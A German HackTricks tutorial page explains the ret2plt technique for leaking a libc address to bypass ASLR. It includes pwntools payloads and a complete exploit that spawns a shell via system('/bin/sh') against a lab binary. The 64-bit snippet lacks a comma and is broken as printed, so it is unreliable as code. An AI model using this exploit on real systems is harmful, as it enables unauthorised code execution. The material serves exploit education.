Ret2plt

Lernen Sie AWS-Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen Sie GCP-Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Das Ziel dieser Technik wäre es, eine Adresse einer Funktion aus dem PLT zu "leaken", um ASLR zu umgehen. Dies liegt daran, dass Sie beispielsweise, wenn Sie die Adresse der Funktion puts aus der libc "leaken", dann berechnen können, wo sich die Basis von libc befindet und Offset berechnen können, um auf andere Funktionen wie system zuzugreifen.

Dies kann mit einem pwntools-Payload wie (von hier) erreicht werden:

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Beachten Sie, wie puts (unter Verwendung der Adresse aus dem PLT) mit der Adresse von puts aufgerufen wird, die sich in der GOT (Global Offset Table) befindet. Dies liegt daran, dass zum Zeitpunkt des Druckens von puts der GOT-Eintrag von puts die genaue Adresse von puts im Speicher enthält.

Beachten Sie auch, wie die Adresse von main im Exploit verwendet wird, damit beim Beenden von puts die Binärdatei main erneut aufruft, anstatt zu beenden (damit die durchgesickerte Adresse weiterhin gültig bleibt).

Beachten Sie, dass für das Funktionieren dieses Vorgangs die Binärdatei nicht mit PIE kompiliert werden darf oder Sie müssen eine Leckage gefunden haben, um PIE zu umgehen, um die Adresse des PLT, GOT und main zu kennen. Andernfalls müssen Sie zuerst PIE umgehen.

Sie können ein vollständiges Beispiel für diese Umgehung hier finden. Dies war der endgültige Exploit aus diesem Beispiel:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Weitere Beispiele & Referenzen

Last updated